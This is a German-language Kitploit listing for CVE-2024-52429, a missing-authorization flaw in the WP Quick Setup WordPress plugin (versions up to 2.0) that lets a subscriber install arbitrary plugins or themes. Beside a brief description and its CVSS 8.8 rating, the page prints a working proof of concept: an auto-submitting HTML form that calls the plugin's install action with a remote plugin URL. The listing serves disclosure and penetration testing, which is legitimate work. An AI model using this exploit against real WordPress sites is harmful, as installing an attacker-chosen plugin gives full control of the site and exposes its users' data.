Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-52429 — WP Quick Setup <= 2.0 - Fehlende Autorisierung für authentifizierte (Abonnent+) Beliebige Plugin/Theme-Installation | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2024-52429
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsFehlkonfiguration
GitHubrandomrobbiebf/cve-2024-52429

CVE-2024-52429

WP Quick Setup <= 2.0 - Fehlende Autorisierung für authentifizierte (Abonnent+) Beliebige Plugin/Theme-Installation

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-52429

WP Quick Setup <= 2.0 - Fehlende Autorisierung für authentifizierte (Abonnent+) beliebige Plugin/Theme-Installation

Beschreibung:

Das WP Quick Setup Plugin für WordPress ist anfällig für unbefugte Plugin- und Theme-Installation aufgrund einer fehlenden Berechtigungsprüfung in einer Funktion in allen Versionen bis einschließlich 2.0. Dies macht es

root@kitploit:~
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429

PoC

Melden Sie sich als Abonnent an und führen Sie dann dieses HTML aus

root@kitploit:~
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wes&#95;install&#95;plugins" />
      <input type="hidden" name="plugin&#95;urls&#91;&#93;" value="https&#58;&#47;&#47;downloads&#46;wordpress&#46;org&#47;plugin&#47;wdes&#45;responsive&#45;mobile&#45;menu&#46;zip" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
Tool herunterladen